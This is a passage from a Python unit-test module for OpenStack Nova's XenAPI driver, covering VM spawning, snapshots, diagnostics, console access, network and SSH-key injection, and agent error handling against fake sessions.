xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) self.conn._session.is_local_connection = False fake_image.stub_out_image_service(self) set_image_fixtures() stubs.stubout_image_service_download(self.stubs) stubs.stubout_stream_disk(self.stubs) def fake_inject_instance_metadata(self, instance, vm): pass self.stubs.Set(vmops.VMOps, '_inject_instance_metadata', fake_inject_instance_metadata) def fake_safe_copy_vdi(session, sr_ref, instance, vdi_to_copy_ref): name_label = "fakenamelabel" disk_type = "fakedisktype" virtual_size = 777 return vm_utils.create_vdi( session, sr_ref, instance, name_label, disk_type, virtual_size) self.stubs.Set(vm_utils, '_safe_copy_vdi', fake_safe_copy_vdi) def fake_unpause_and_wait(self, vm_ref, instance, power_on): self._update_last_dom_id(vm_ref) self.stubs.Set(vmops.VMOps, '_unpause_and_wait', fake_unpause_and_wait) def tearDown(self): fake_image.FakeImageService_reset() super(XenAPIVMTestCase, self).tearDown() def test_init_host(self): session = get_session() vm = vm_utils._get_this_vm_ref(session) # Local root disk vdi0 = xenapi_fake.create_vdi('compute', None) vbd0 = xenapi_fake.create_vbd(vm, vdi0) # Instance VDI vdi1 = xenapi_fake.create_vdi('instance-aaaa', None, other_config={'nova_instance_uuid': 'aaaa'}) xenapi_fake.create_vbd(vm, vdi1) # Only looks like instance VDI vdi2 = xenapi_fake.create_vdi('instance-bbbb', None) vbd2 = xenapi_fake.create_vbd(vm, vdi2) self.conn.init_host(None) self.assertEqual(set(xenapi_fake.get_all('VBD')), set([vbd0, vbd2])) @mock.patch.object(vm_utils, 'lookup', return_value=True) def test_instance_exists(self, mock_lookup): self.stubs.Set(objects.Instance, 'name', 'foo') instance = objects.Instance(uuid=uuids.instance) self.assertTrue(self.conn.instance_exists(instance)) mock_lookup.assert_called_once_with(mock.ANY, 'foo') @mock.patch.object(vm_utils, 'lookup', return_value=None) def test_instance_not_exists(self, mock_lookup): self.stubs.Set(objects.Instance, 'name', 'bar') instance = objects.Instance(uuid=uuids.instance) self.assertFalse(self.conn.instance_exists(instance)) mock_lookup.assert_called_once_with(mock.ANY, 'bar') def test_list_instances_0(self): instances = self.conn.list_instances() self.assertEqual(instances, []) def test_list_instance_uuids_0(self): instance_uuids = self.conn.list_instance_uuids() self.assertEqual(instance_uuids, []) def test_list_instance_uuids(self): uuids = [] for x in range(1, 4): instance = self._create_instance() uuids.append(instance['uuid']) instance_uuids = self.conn.list_instance_uuids() self.assertEqual(len(uuids), len(instance_uuids)) self.assertEqual(set(uuids), set(instance_uuids)) def test_get_rrd_server(self): self.flags(connection_url='myscheme://myaddress/', group='xenserver') server_info = vm_utils._get_rrd_server() self.assertEqual(server_info[0], 'myscheme') self.assertEqual(server_info[1], 'myaddress') expected_raw_diagnostics = { 'vbd_xvdb_write': '0.0', 'memory_target': '4294967296.0000', 'memory_internal_free': '1415564.0000', 'memory': '4294967296.0000', 'vbd_xvda_write': '0.0', 'cpu0': '0.0042', 'vif_0_tx': '287.4134', 'vbd_xvda_read': '0.0', 'vif_0_rx': '1816.0144', 'vif_2_rx': '0.0', 'vif_2_tx': '0.0', 'vbd_xvdb_read': '0.0', 'last_update': '1328795567', } def test_get_diagnostics(self): def fake_get_rrd(host, vm_uuid): path = os.path.dirname(os.path.realpath(__file__)) with open(os.path.join(path, 'vm_rrd.xml')) as f: return re.sub(r'\s', '', f.read()) self.stubs.Set(vm_utils, '_get_rrd', fake_get_rrd) expected = self.expected_raw_diagnostics instance = self._create_instance() actual = self.conn.get_diagnostics(instance) self.assertThat(actual, matchers.DictMatches(expected)) def test_get_instance_diagnostics(self): def fake_get_rrd(host, vm_uuid): path = os.path.dirname(os.path.realpath(__file__)) with open(os.path.join(path, 'vm_rrd.xml')) as f: return re.sub(r'\s', '', f.read()) self.stubs.Set(vm_utils, '_get_rrd', fake_get_rrd) expected = { 'config_drive': False, 'state': 'running', 'driver': 'xenapi', 'version': '1.0', 'uptime': 0, 'hypervisor_os': None, 'cpu_details': [{'time': 0}, {'time': 0}, {'time': 0}, {'time': 0}], 'nic_details': [{'mac_address': '00:00:00:00:00:00', 'rx_drop': 0, 'rx_errors': 0, 'rx_octets': 0, 'rx_packets': 0, 'tx_drop': 0, 'tx_errors': 0, 'tx_octets': 0, 'tx_packets': 0}], 'disk_details': [{'errors_count': 0, 'id': '', 'read_bytes': 0, 'read_requests': 0, 'write_bytes': 0, 'write_requests': 0}], 'memory_details': {'maximum': 8192, 'used': 0}} instance = self._create_instance(obj=True) actual = self.conn.get_instance_diagnostics(instance) self.assertEqual(expected, actual.serialize()) def test_get_vnc_console(self): instance = self._create_instance(obj=True) session = get_session() conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) vm_ref = vm_utils.lookup(session, instance['name']) console = conn.get_vnc_console(self.context, instance) # Note(sulo): We don't care about session id in test # they will always differ so strip that out actual_path = console.internal_access_path.split('&')[0] expected_path = "/console?ref=%s" % str(vm_ref) self.assertEqual(expected_path, actual_path) def test_get_vnc_console_for_rescue(self): instance = self._create_instance(obj=True) conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) rescue_vm = xenapi_fake.create_vm(instance['name'] + '-rescue', 'Running') # Set instance state to rescued instance['vm_state'] = 'rescued' console = conn.get_vnc_console(self.context, instance) # Note(sulo): We don't care about session id in test # they will always differ so strip that out actual_path = console.internal_access_path.split('&')[0] expected_path = "/console?ref=%s" % str(rescue_vm) self.assertEqual(expected_path, actual_path) def test_get_vnc_console_instance_not_ready(self): instance = self._create_instance(obj=True, spawn=False) instance.vm_state = 'building' conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) self.assertRaises(exception.InstanceNotFound, conn.get_vnc_console, self.context, instance) def test_get_vnc_console_rescue_not_ready(self): instance = self._create_instance(obj=True, spawn=False) instance.vm_state = 'rescued' conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) self.assertRaises(exception.InstanceNotReady, conn.get_vnc_console, self.context, instance) def test_instance_snapshot_fails_with_no_primary_vdi(self): def create_bad_vbd(session, vm_ref, vdi_ref, userdevice, vbd_type='disk', read_only=False, bootable=False, osvol=False): vbd_rec = {'VM': vm_ref, 'VDI': vdi_ref, 'userdevice': 'fake', 'currently_attached': False} vbd_ref = xenapi_fake._create_object('VBD', vbd_rec) xenapi_fake.after_VBD_create(vbd_ref, vbd_rec) return vbd_ref self.stubs.Set(vm_utils, 'create_vbd', create_bad_vbd) stubs.stubout_instance_snapshot(self.stubs) # Stubbing out firewall driver as previous stub sets alters # xml rpc result parsing stubs.stubout_firewall_driver(self.stubs, self.conn) instance = self._create_instance() image_id = "my_snapshot_id" self.assertRaises(exception.NovaException, self.conn.snapshot, self.context, instance, image_id, lambda *args, **kwargs: None) def test_instance_snapshot(self): expected_calls = [ {'args': (), 'kwargs': {'task_state': task_states.IMAGE_PENDING_UPLOAD}}, {'args': (), 'kwargs': {'task_state': task_states.IMAGE_UPLOADING, 'expected_state': task_states.IMAGE_PENDING_UPLOAD}}] func_call_matcher = matchers.FunctionCallMatcher(expected_calls) image_id = "my_snapshot_id" stubs.stubout_instance_snapshot(self.stubs) stubs.stubout_is_snapshot(self.stubs) # Stubbing out firewall driver as previous stub sets alters # xml rpc result parsing stubs.stubout_firewall_driver(self.stubs, self.conn) instance = self._create_instance() self.fake_upload_called = False def fake_image_upload(_self, ctx, session, inst, img_id, vdi_uuids): self.fake_upload_called = True self.assertEqual(ctx, self.context) self.assertEqual(inst, instance) self.assertIsInstance(vdi_uuids, list) self.assertEqual(img_id, image_id) self.stubs.Set(glance.GlanceStore, 'upload_image', fake_image_upload) self.conn.snapshot(self.context, instance, image_id, func_call_matcher.call) # Ensure VM was torn down vm_labels = [] for vm_ref in xenapi_fake.get_all('VM'): vm_rec = xenapi_fake.get_record('VM', vm_ref) if not vm_rec["is_control_domain"]: vm_labels.append(vm_rec["name_label"]) self.assertEqual(vm_labels, [instance['name']]) # Ensure VBDs were torn down vbd_labels = [] for vbd_ref in xenapi_fake.get_all('VBD'): vbd_rec = xenapi_fake.get_record('VBD', vbd_ref) vbd_labels.append(vbd_rec["vm_name_label"]) self.assertEqual(vbd_labels, [instance['name']]) # Ensure task states changed in correct order self.assertIsNone(func_call_matcher.match()) # Ensure VDIs were torn down for vdi_ref in xenapi_fake.get_all('VDI'): vdi_rec = xenapi_fake.get_record('VDI', vdi_ref) name_label = vdi_rec["name_label"] self.assertFalse(name_label.endswith('snapshot')) self.assertTrue(self.fake_upload_called) def create_vm_record(self, conn, os_type, name): instances = conn.list_instances() self.assertEqual(instances, [name]) # Get Nova record for VM vm_info = conn.get_info({'name': name}) # Get XenAPI record for VM vms = [rec for ref, rec in six.iteritems(xenapi_fake.get_all_records('VM')) if not rec['is_control_domain']] vm = vms[0] self.vm_info = vm_info self.vm = vm def check_vm_record(self, conn, instance_type_id, check_injection): flavor = objects.Flavor.get_by_id(self.context, instance_type_id) mem_kib = int(flavor['memory_mb']) << 10 mem_bytes = str(mem_kib << 10) vcpus = flavor['vcpus'] vcpu_weight = flavor['vcpu_weight'] self.assertEqual(self.vm_info.max_mem_kb, mem_kib) self.assertEqual(self.vm_info.mem_kb, mem_kib) self.assertEqual(self.vm['memory_static_max'], mem_bytes) self.assertEqual(self.vm['memory_dynamic_max'], mem_bytes) self.assertEqual(self.vm['memory_dynamic_min'], mem_bytes) self.assertEqual(self.vm['VCPUs_max'], str(vcpus)) self.assertEqual(self.vm['VCPUs_at_startup'], str(vcpus)) if vcpu_weight is None: self.assertEqual(self.vm['VCPUs_params'], {}) else: self.assertEqual(self.vm['VCPUs_params'], {'weight': str(vcpu_weight), 'cap': '0'}) # Check that the VM is running according to Nova self.assertEqual(self.vm_info.state, power_state.RUNNING) # Check that the VM is running according to XenAPI. self.assertEqual(self.vm['power_state'], 'Running') if check_injection: xenstore_data = self.vm['xenstore_data'] self.assertNotIn('vm-data/hostname', xenstore_data) key = 'vm-data/networking/DEADBEEF0001' xenstore_value = xenstore_data[key] tcpip_data = ast.literal_eval(xenstore_value) self.assertJsonEqual({'broadcast': '192.168.1.255', 'dns': ['192.168.1.4', '192.168.1.3'], 'gateway': '192.168.1.1', 'gateway_v6': '2001:db8:0:1::1', 'ip6s': [{'enabled': '1', 'ip': '2001:db8:0:1:dcad:beff:feef:1', 'netmask': 64, 'gateway': '2001:db8:0:1::1'}], 'ips': [{'enabled': '1', 'ip': '192.168.1.100', 'netmask': '255.255.255.0', 'gateway': '192.168.1.1'}, {'enabled': '1', 'ip': '192.168.1.101', 'netmask': '255.255.255.0', 'gateway': '192.168.1.1'}], 'label': 'test1', 'mac': 'DE:AD:BE:EF:00:01'}, tcpip_data) def check_vm_params_for_windows(self): self.assertEqual(self.vm['platform']['nx'], 'true') self.assertEqual(self.vm['HVM_boot_params'], {'order': 'dc'}) self.assertEqual(self.vm['HVM_boot_policy'], 'BIOS order') # check that these are not set self.assertEqual(self.vm['PV_args'], '') self.assertEqual(self.vm['PV_bootloader'], '') self.assertEqual(self.vm['PV_kernel'], '') self.assertEqual(self.vm['PV_ramdisk'], '') def check_vm_params_for_linux(self): self.assertEqual(self.vm['platform']['nx'], 'false') self.assertEqual(self.vm['PV_args'], '') self.assertEqual(self.vm['PV_bootloader'], 'pygrub') # check that these are not set self.assertEqual(self.vm['PV_kernel'], '') self.assertEqual(self.vm['PV_ramdisk'], '') self.assertEqual(self.vm['HVM_boot_params'], {}) self.assertEqual(self.vm['HVM_boot_policy'], '') def check_vm_params_for_linux_with_external_kernel(self): self.assertEqual(self.vm['platform']['nx'], 'false') self.assertEqual(self.vm['PV_args'], 'root=/dev/xvda1') self.assertNotEqual(self.vm['PV_kernel'], '') self.assertNotEqual(self.vm['PV_ramdisk'], '') # check that these are not set self.assertEqual(self.vm['HVM_boot_params'], {}) self.assertEqual(self.vm['HVM_boot_policy'], '') def _list_vdis(self): session = get_session() return session.call_xenapi('VDI.get_all') def _list_vms(self): session = get_session() return session.call_xenapi('VM.get_all') def _check_vdis(self, start_list, end_list): for vdi_ref in end_list: if vdi_ref not in start_list: vdi_rec = xenapi_fake.get_record('VDI', vdi_ref) # If the cache is turned on then the base disk will be # there even after the cleanup if 'other_config' in vdi_rec: if 'image-id' not in vdi_rec['other_config']: self.fail('Found unexpected VDI:%s' % vdi_ref) else: self.fail('Found unexpected VDI:%s' % vdi_ref) def _test_spawn(self, image_ref, kernel_id, ramdisk_id, instance_type_id="3", os_type="linux", hostname="test", architecture="x86-64", instance_id=1, injected_files=None, check_injection=False, create_record=True, empty_dns=False, block_device_info=None, key_data=None): if injected_files is None: injected_files = [] # Fake out inject_instance_metadata def fake_inject_instance_metadata(self, instance, vm): pass self.stubs.Set(vmops.VMOps, '_inject_instance_metadata', fake_inject_instance_metadata) if create_record: flavor = objects.Flavor.get_by_id(self.context, instance_type_id) instance = objects.Instance(context=self.context) instance.project_id = self.project_id instance.user_id = self.user_id instance.image_ref = image_ref instance.kernel_id = kernel_id instance.ramdisk_id = ramdisk_id instance.root_gb = flavor.root_gb instance.ephemeral_gb = flavor.ephemeral_gb instance.instance_type_id = instance_type_id instance.os_type = os_type instance.hostname = hostname instance.key_data = key_data instance.architecture = architecture instance.system_metadata = {} instance.flavor = flavor instance.create() else: instance = objects.Instance.get_by_id(self.context, instance_id, expected_attrs=['flavor']) network_info = fake_network.fake_get_instance_nw_info(self) if empty_dns: # NOTE(tr3buchet): this is a terrible way to do this... network_info[0]['network']['subnets'][0]['dns'] = [] image_meta = objects.ImageMeta.from_dict( IMAGE_FIXTURES[image_ref]["image_meta"]) self.conn.spawn(self.context, instance, image_meta, injected_files, 'herp', network_info, block_device_info) self.create_vm_record(self.conn, os_type, instance['name']) self.check_vm_record(self.conn, instance_type_id, check_injection) self.assertEqual(instance['os_type'], os_type) self.assertEqual(instance['architecture'], architecture) def test_spawn_ipxe_iso_success(self): self.mox.StubOutWithMock(vm_utils, 'get_sr_path') vm_utils.get_sr_path(mox.IgnoreArg()).AndReturn('/sr/path') self.flags(ipxe_network_name='test1', ipxe_boot_menu_url='http://boot.example.com', ipxe_mkisofs_cmd='/root/mkisofs', group='xenserver') self.mox.StubOutWithMock(self.conn._session, 'call_plugin_serialized') self.conn._session.call_plugin_serialized( 'ipxe.py', 'inject', '/sr/path', mox.IgnoreArg(), 'http://boot.example.com', '192.168.1.100', '255.255.255.0', '192.168.1.1', '192.168.1.3', '/root/mkisofs') self.conn._session.call_plugin_serialized('partition_utils.py', 'make_partition', 'fakedev', '2048', '-') self.mox.ReplayAll() self._test_spawn(IMAGE_IPXE_ISO, None, None) def test_spawn_ipxe_iso_no_network_name(self): self.flags(ipxe_network_name=None, ipxe_boot_menu_url='http://boot.example.com', group='xenserver') # ipxe inject shouldn't be called self.mox.StubOutWithMock(self.conn._session, 'call_plugin_serialized') self.conn._session.call_plugin_serialized('partition_utils.py', 'make_partition', 'fakedev', '2048', '-') self.mox.ReplayAll() self._test_spawn(IMAGE_IPXE_ISO, None, None) def test_spawn_ipxe_iso_no_boot_menu_url(self): self.flags(ipxe_network_name='test1', ipxe_boot_menu_url=None, group='xenserver') # ipxe inject shouldn't be called self.mox.StubOutWithMock(self.conn._session, 'call_plugin_serialized') self.conn._session.call_plugin_serialized('partition_utils.py', 'make_partition', 'fakedev', '2048', '-') self.mox.ReplayAll() self._test_spawn(IMAGE_IPXE_ISO, None, None) def test_spawn_ipxe_iso_unknown_network_name(self): self.flags(ipxe_network_name='test2', ipxe_boot_menu_url='http://boot.example.com', group='xenserver') # ipxe inject shouldn't be called self.mox.StubOutWithMock(self.conn._session, 'call_plugin_serialized') self.conn._session.call_plugin_serialized('partition_utils.py', 'make_partition', 'fakedev', '2048', '-') self.mox.ReplayAll() self._test_spawn(IMAGE_IPXE_ISO, None, None) def test_spawn_empty_dns(self): # Test spawning with an empty dns list. self._test_spawn(IMAGE_VHD, None, None, os_type="linux", architecture="x86-64", empty_dns=True) self.check_vm_params_for_linux() def test_spawn_not_enough_memory(self): self.assertRaises(exception.InsufficientFreeMemory, self._test_spawn, IMAGE_MACHINE, IMAGE_KERNEL, IMAGE_RAMDISK, "4") # m1.xlarge def test_spawn_fail_cleanup_1(self): """Simulates an error while downloading an image. Verifies that the VM and VDIs created are properly cleaned up. """ vdi_recs_start = self._list_vdis() start_vms = self._list_vms() stubs.stubout_fetch_disk_image(self.stubs, raise_failure=True) self.assertRaises(xenapi_fake.Failure, self._test_spawn, IMAGE_MACHINE, IMAGE_KERNEL, IMAGE_RAMDISK) # No additional VDI should be found. vdi_recs_end = self._list_vdis() end_vms = self._list_vms() self._check_vdis(vdi_recs_start, vdi_recs_end) # No additional VMs should be found. self.assertEqual(start_vms, end_vms) def test_spawn_fail_cleanup_2(self): """Simulates an error while creating VM record. Verifies that the VM and VDIs created are properly cleaned up. """ vdi_recs_start = self._list_vdis() start_vms = self._list_vms() stubs.stubout_create_vm(self.stubs) self.assertRaises(xenapi_fake.Failure, self._test_spawn, IMAGE_MACHINE, IMAGE_KERNEL, IMAGE_RAMDISK) # No additional VDI should be found. vdi_recs_end = self._list_vdis() end_vms = self._list_vms() self._check_vdis(vdi_recs_start, vdi_recs_end) # No additional VMs should be found. self.assertEqual(start_vms, end_vms) def test_spawn_fail_cleanup_3(self): """Simulates an error while attaching disks. Verifies that the VM and VDIs created are properly cleaned up. """ stubs.stubout_attach_disks(self.stubs) vdi_recs_start = self._list_vdis() start_vms = self._list_vms() self.assertRaises(xenapi_fake.Failure, self._test_spawn, IMAGE_MACHINE, IMAGE_KERNEL, IMAGE_RAMDISK) # No additional VDI should be found. vdi_recs_end = self._list_vdis() end_vms = self._list_vms() self._check_vdis(vdi_recs_start, vdi_recs_end) # No additional VMs should be found. self.assertEqual(start_vms, end_vms) def test_spawn_raw_glance(self): self._test_spawn(IMAGE_RAW, None, None, os_type=None) self.check_vm_params_for_windows() def test_spawn_vhd_glance_linux(self): self._test_spawn(IMAGE_VHD, None, None, os_type="linux", architecture="x86-64") self.check_vm_params_for_linux() def test_spawn_vhd_glance_windows(self): self._test_spawn(IMAGE_VHD, None, None, os_type="windows", architecture="i386", instance_type_id=5) self.check_vm_params_for_windows() def test_spawn_iso_glance(self): self._test_spawn(IMAGE_ISO, None, None, os_type="windows", architecture="i386") self.check_vm_params_for_windows() def test_spawn_glance(self): def fake_fetch_disk_image(context, session, instance, name_label, image_id, image_type): sr_ref = vm_utils.safe_find_sr(session) image_type_str = vm_utils.ImageType.to_string(image_type) vdi_ref = vm_utils.create_vdi(session, sr_ref, instance, name_label, image_type_str, "20") vdi_role = vm_utils.ImageType.get_role(image_type) vdi_uuid = session.call_xenapi("VDI.get_uuid", vdi_ref) return {vdi_role: dict(uuid=vdi_uuid, file=None)} self.stubs.Set(vm_utils, '_fetch_disk_image', fake_fetch_disk_image) self._test_spawn(IMAGE_MACHINE, IMAGE_KERNEL, IMAGE_RAMDISK) self.check_vm_params_for_linux_with_external_kernel() def test_spawn_boot_from_volume_no_glance_image_meta(self): dev_info = get_fake_device_info() self._test_spawn(IMAGE_FROM_VOLUME, None, None, block_device_info=dev_info) def test_spawn_boot_from_volume_with_image_meta(self): dev_info = get_fake_device_info() self._test_spawn(IMAGE_VHD, None, None, block_device_info=dev_info) @testtools.skipIf(test_utils.is_osx(), 'IPv6 pretty-printing broken on OSX, see bug 1409135') def test_spawn_netinject_file(self): self.flags(flat_injected=True) db_fakes.stub_out_db_instance_api(self, injected=True) self._tee_executed = False def _tee_handler(cmd, **kwargs): actual = kwargs.get('process_input', None) expected = """\ # Injected by Nova on instance boot # # This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). # The loopback network interface auto lo iface lo inet loopback auto eth0 iface eth0 inet static hwaddress ether DE:AD:BE:EF:00:01 address 192.168.1.100 netmask 255.255.255.0 broadcast 192.168.1.255 gateway 192.168.1.1 dns-nameservers 192.168.1.3 192.168.1.4 iface eth0 inet6 static hwaddress ether DE:AD:BE:EF:00:01 address 2001:db8:0:1:dcad:beff:feef:1 netmask 64 gateway 2001:db8:0:1::1 """ self.assertEqual(expected, actual) self._tee_executed = True return '', '' def _readlink_handler(cmd_parts, **kwargs): return os.path.realpath(cmd_parts[2]), '' fake_processutils.fake_execute_set_repliers([ # Capture the tee .../etc/network/interfaces command (r'tee.*interfaces', _tee_handler), (r'readlink -nm.*', _readlink_handler), ]) self._test_spawn(IMAGE_MACHINE, IMAGE_KERNEL, IMAGE_RAMDISK, check_injection=True) self.assertTrue(self._tee_executed) @testtools.skipIf(test_utils.is_osx(), 'IPv6 pretty-printing broken on OSX, see bug 1409135') def test_spawn_netinject_xenstore(self): db_fakes.stub_out_db_instance_api(self, injected=True) self._tee_executed = False def _mount_handler(cmd, *ignore_args, **ignore_kwargs): # When mounting, create real files under the mountpoint to simulate # files in the mounted filesystem # mount point will be the last item of the command list self._tmpdir = cmd[len(cmd) - 1] LOG.debug('Creating files in %s to simulate guest agent', self._tmpdir) os.makedirs(os.path.join(self._tmpdir, 'usr', 'sbin')) # Touch the file using open open(os.path.join(self._tmpdir, 'usr', 'sbin', 'xe-update-networking'), 'w').close() return '', '' def _umount_handler(cmd, *ignore_args, **ignore_kwargs): # Umount would normally make files in the mounted filesystem # disappear, so do that here LOG.debug('Removing simulated guest agent files in %s', self._tmpdir) os.remove(os.path.join(self._tmpdir, 'usr', 'sbin', 'xe-update-networking')) os.rmdir(os.path.join(self._tmpdir, 'usr', 'sbin')) os.rmdir(os.path.join(self._tmpdir, 'usr')) return '', '' def _tee_handler(cmd, *ignore_args, **ignore_kwargs): self._tee_executed = True return '', '' fake_processutils.fake_execute_set_repliers([ (r'mount', _mount_handler), (r'umount', _umount_handler), (r'tee.*interfaces', _tee_handler)]) self._test_spawn(IMAGE_MACHINE, IMAGE_KERNEL, IMAGE_RAMDISK, check_injection=True) # tee must not run in this case, where an injection-capable # guest agent is detected self.assertFalse(self._tee_executed) def test_spawn_injects_auto_disk_config_to_xenstore(self): instance = self._create_instance(spawn=False, obj=True) self.mox.StubOutWithMock(self.conn._vmops, '_inject_auto_disk_config') self.conn._vmops._inject_auto_disk_config(instance, mox.IgnoreArg()) self.mox.ReplayAll() image_meta = objects.ImageMeta.from_dict( IMAGE_FIXTURES[IMAGE_MACHINE]["image_meta"]) self.conn.spawn(self.context, instance, image_meta, [], 'herp', '') def test_spawn_vlanmanager(self): self.flags(network_manager='nova.network.manager.VlanManager', vlan_interface='fake0') def dummy(*args, **kwargs): pass self.stubs.Set(vmops.VMOps, '_create_vifs', dummy) # Reset network table xenapi_fake.reset_table('network') # Instance 2 will use vlan network (see db/fakes.py) ctxt = self.context.elevated() inst2 = self._create_instance(False, obj=True) networks = self.network.db.network_get_all(ctxt) with mock.patch('nova.objects.network.Network._from_db_object'): for network in networks: self.network.set_network_host(ctxt, network) self.network.allocate_for_instance(ctxt, instance_id=inst2.id, instance_uuid=inst2.uuid, host=CONF.host, vpn=None, rxtx_factor=3, project_id=self.project_id, macs=None) self._test_spawn(IMAGE_MACHINE, IMAGE_KERNEL, IMAGE_RAMDISK, instance_id=inst2.id, create_record=False) # TODO(salvatore-orlando): a complete test here would require # a check for making sure the bridge for the VM's VIF is # consistent with bridge specified in nova db def test_spawn_with_network_qos(self): self._create_instance() for vif_ref in xenapi_fake.get_all('VIF'): vif_rec = xenapi_fake.get_record('VIF', vif_ref) self.assertEqual(vif_rec['qos_algorithm_type'], 'ratelimit') self.assertEqual(vif_rec['qos_algorithm_params']['kbps'], str(3 * 10 * 1024)) def test_spawn_ssh_key_injection(self): # Test spawning with key_data on an instance. Should use # agent file injection. self.flags(use_agent_default=True, group='xenserver') actual_injected_files = [] def fake_inject_file(self, method, args): path = base64.b64decode(args['b64_path']) contents = base64.b64decode(args['b64_contents']) actual_injected_files.append((path, contents)) return jsonutils.dumps({'returncode': '0', 'message': 'success'}) self.stubs.Set(stubs.FakeSessionForVMTests, '_plugin_agent_inject_file', fake_inject_file) def fake_encrypt_text(sshkey, new_pass): self.assertEqual("ssh-rsa fake_keydata", sshkey) return "fake" self.stubs.Set(crypto, 'ssh_encrypt_text', fake_encrypt_text) expected_data = ('\n# The following ssh key was injected by ' 'Nova\nssh-rsa fake_keydata\n') injected_files = [('/root/.ssh/authorized_keys', expected_data)] self._test_spawn(IMAGE_VHD, None, None, os_type="linux", architecture="x86-64", key_data='ssh-rsa fake_keydata') self.assertEqual(actual_injected_files, injected_files) def test_spawn_ssh_key_injection_non_rsa(self): # Test spawning with key_data on an instance. Should use # agent file injection. self.flags(use_agent_default=True, group='xenserver') actual_injected_files = [] def fake_inject_file(self, method, args): path = base64.b64decode(args['b64_path']) contents = base64.b64decode(args['b64_contents']) actual_injected_files.append((path, contents)) return jsonutils.dumps({'returncode': '0', 'message': 'success'}) self.stubs.Set(stubs.FakeSessionForVMTests, '_plugin_agent_inject_file', fake_inject_file) def fake_encrypt_text(sshkey, new_pass): raise NotImplementedError("Should not be called") self.stubs.Set(crypto, 'ssh_encrypt_text', fake_encrypt_text) expected_data = ('\n# The following ssh key was injected by ' 'Nova\nssh-dsa fake_keydata\n') injected_files = [('/root/.ssh/authorized_keys', expected_data)] self._test_spawn(IMAGE_VHD, None, None, os_type="linux", architecture="x86-64", key_data='ssh-dsa fake_keydata') self.assertEqual(actual_injected_files, injected_files) def test_spawn_injected_files(self): # Test spawning with injected_files. self.flags(use_agent_default=True, group='xenserver') actual_injected_files = [] def fake_inject_file(self, method, args): path = base64.b64decode(args['b64_path']) contents = base64.b64decode(args['b64_contents']) actual_injected_files.append((path, contents)) return jsonutils.dumps({'returncode': '0', 'message': 'success'}) self.stubs.Set(stubs.FakeSessionForVMTests, '_plugin_agent_inject_file', fake_inject_file) injected_files = [('/tmp/foo', 'foobar')] self._test_spawn(IMAGE_VHD, None, None, os_type="linux", architecture="x86-64", injected_files=injected_files) self.check_vm_params_for_linux() self.assertEqual(actual_injected_files, injected_files) @mock.patch('nova.db.agent_build_get_by_triple') def test_spawn_agent_upgrade(self, mock_get): self.flags(use_agent_default=True, group='xenserver') mock_get.return_value = {"version": "1.1.0", "architecture": "x86-64", "hypervisor": "xen", "os": "windows", "url": "url", "md5hash": "asdf", 'created_at': None, 'updated_at': None, 'deleted_at': None, 'deleted': False, 'id': 1} self._test_spawn(IMAGE_VHD, None, None, os_type="linux", architecture="x86-64") @mock.patch('nova.db.agent_build_get_by_triple') def test_spawn_agent_upgrade_fails_silently(self, mock_get): mock_get.return_value = {"version": "1.1.0", "architecture": "x86-64", "hypervisor": "xen", "os": "windows", "url": "url", "md5hash": "asdf", 'created_at': None, 'updated_at': None, 'deleted_at': None, 'deleted': False, 'id': 1} self._test_spawn_fails_silently_with(exception.AgentError, method="_plugin_agent_agentupdate", failure="fake_error") def test_spawn_with_resetnetwork_alternative_returncode(self): self.flags(use_agent_default=True, group='xenserver') def fake_resetnetwork(self, method, args): fake_resetnetwork.called = True # NOTE(johngarbutt): as returned by FreeBSD and Gentoo return jsonutils.dumps({'returncode': '500', 'message': 'success'}) self.stubs.Set(stubs.FakeSessionForVMTests, '_plugin_agent_resetnetwork', fake_resetnetwork) fake_resetnetwork.called = False self._test_spawn(IMAGE_VHD, None, None, os_type="linux", architecture="x86-64") self.assertTrue(fake_resetnetwork.called) def _test_spawn_fails_silently_with(self, expected_exception_cls, method="_plugin_agent_version", failure=None, value=None): self.flags(use_agent_default=True, agent_version_timeout=0, group='xenserver') def fake_agent_call(self, method, args): if failure: raise xenapi_fake.Failure([failure]) else: return value self.stubs.Set(stubs.FakeSessionForVMTests, method, fake_agent_call) called = {} def fake_add_instance_fault(*args, **kwargs): called["fake_add_instance_fault"] = args[2] self.stubs.Set(compute_utils, 'add_instance_fault_from_exc', fake_add_instance_fault) self._test_spawn(IMAGE_VHD, None, None, os_type="linux", architecture="x86-64") actual_exception = called["fake_add_instance_fault"] self.assertIsInstance(actual_exception, expected_exception_cls) def test_spawn_fails_silently_with_agent_timeout(self): self._test_spawn_fails_silently_with(exception.AgentTimeout, failure="TIMEOUT:fake") def test_spawn_fails_silently_with_agent_not_implemented(self): self._test_spawn_fails_silently_with(exception.AgentNotImplemented, failure="NOT IMPLEMENTED:fake") def test_spawn_fails_silently_with_agent_error(self): self._test_spawn_fails_silently_with(exception.AgentError, failure="fake_error") def test_spawn_fails_silently_with_agent_bad_return(self): error = jsonutils.dumps({'returncode': -1, 'message': 'fake'}) self._test_spawn_fails_silently_with(exception.AgentError, value=error) def test_spawn_sets_last_dom_id(self): self._test_spawn(IMAGE_VHD, None, None, os_type="linux", architecture="x86-64") self.assertEqual(self.vm['domid'], self.vm['other_config']['last_dom_id']) def test_rescue(self): instance = self._create_instance(spawn=False, obj=True) xenapi_fake.create_vm(instance['name'], 'Running') session = get_session() vm_ref = vm_utils.lookup(session, instance['name']) swap_vdi_ref = xenapi_fake.create_vdi('swap', None) root_vdi_ref = xenapi_fake.create_vdi('root', None) eph1_vdi_ref = xenapi_fake.create_vdi('eph', None) eph2_vdi_ref = xenapi_fake.create_vdi('eph', None) vol_vdi_ref = xenapi_fake.create_vdi('volume', None) xenapi_fake.create_vbd(vm_ref, swap_vdi_ref, userdevice=2) xenapi_fake.create_vbd(vm_ref, root_vdi_ref, userdevice=0) xenapi_fake.create_vbd(vm_ref, eph1_vdi_ref, userdevice=4) xenapi_fake.create_vbd(vm_ref, eph2_vdi_ref, userdevice=5) xenapi_fake.create_vbd(vm_ref, vol_vdi_ref, userdevice=6, other_config={'osvol': True}) conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) image_meta = objects.ImageMeta.from_dict( {'id': IMAGE_VHD, 'disk_format': 'vhd', 'properties': {'vm_mode': 'xen'}}) conn.rescue(self.context, instance, [], image_meta, '') vm = xenapi_fake.get_record('VM', vm_ref) rescue_name = 